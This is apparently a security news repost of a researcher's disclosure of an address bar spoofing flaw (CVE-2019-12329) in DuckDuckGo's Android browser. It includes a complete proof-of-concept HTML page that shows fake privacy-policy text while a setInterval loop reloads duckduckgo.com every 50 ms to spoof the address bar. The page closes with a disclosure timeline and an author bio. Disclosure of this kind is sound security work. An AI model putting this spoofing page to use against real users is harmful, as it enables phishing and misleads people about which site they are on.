DuckDuckGo Address Bar Spoofing

The DuckDuckGo Privacy Browser application 5.26.0 for Android allows address bar spoofing via a setInterval call, as demonstrated by reloading every 50 ms.

Technical Observation: A browser that’s scoring in the 50,00,000+ tier of Android download.It was observed that the DuckDuckGo privacy browser ominibar can be spoofed by a crafted javascript page spoofing `setInterval` function and reloading the URL in every 10 to 50 ms.

Proof of concept: (Gist)

<html><body>
<title>DuckDuckGo — Privacy, simplified.</title>
<head><style>
p.b {
    font-family: Arial, Helvetica, sans-serif;
    }
</style></head><p class="b"><body bgcolor="#5DBCD2">
<h1 style="text-align:center;">We defintiely store your <br> personal information. Ever.</h1>
<p style="text-align:center;">Our privacy policy is simple: we collect and share any of your personal 
information to 3rd parties.</p>
</p><img src="https://duckduckgo.com/assets/onboarding/bathroomguy/4-alpinist-v2.svg">
<script>
function fakefuntion()
   {
      location = "https://duckduckgo.com/"
   }
      setInterval("fakefuntion()", 50);
</script></body></html>

The actual magic happens at `fakefunction()` above-crafted javascript file loads the real www.duckduckgo.com in a loop of every 50 ms whereas the inner HTML can be modified accordingly.

The above PoC shows the demonstration of the successful attack.
Timeline:
This issue was submitted to DuckDuckGo team via HackerOne on Oct 31st, 2018, DuckDuckGo rewarded with a swag on Nov 13th, 2018 but the issue was closed without a fix which says “team doesn’t view it as a serious issue” and report was marked as informative. Further CVE-2019-12329 was assigned to this issue.

About the Author: Security Researcher Dhiraj Mishra (@mishradhiraj)

Original post at:

https://www.inputzero.io/2019/05/duckduckgo-address-bar-spoofing.html

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Pierluigi Paganini

(SecurityAffairs – Address Bar Spoofing, hacking)

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Pierluigi Paganini

Pierluigi Paganini is member of the ENISA (European Union Agency for Network and Information Security) Threat Landscape Stakeholder Group and Cyber G7 Group, he is also a Security Evangelist, Security Analyst and Freelance Writer. Editor-in-Chief at "Cyber Defense Magazine", Pierluigi is a cyber security expert with over 20 years experience in the field, he is Certified Ethical Hacker at EC Council in London. The passion for writing and a strong belief that security is founded on sharing and awareness led Pierluigi to find the security blog "Security Affairs" recently named a Top National Security Resource for US. Pierluigi is a member of the "The Hacker News" team and he is a writer for some major publications in the field such as Cyber War Zone, ICTTF, Infosec Island, Infosec Institute, The Hacker News Magazine and for many other Security magazines. Author of the Books "The Deep Dark Web" and “Digital Virtual Currency and Bitcoin”.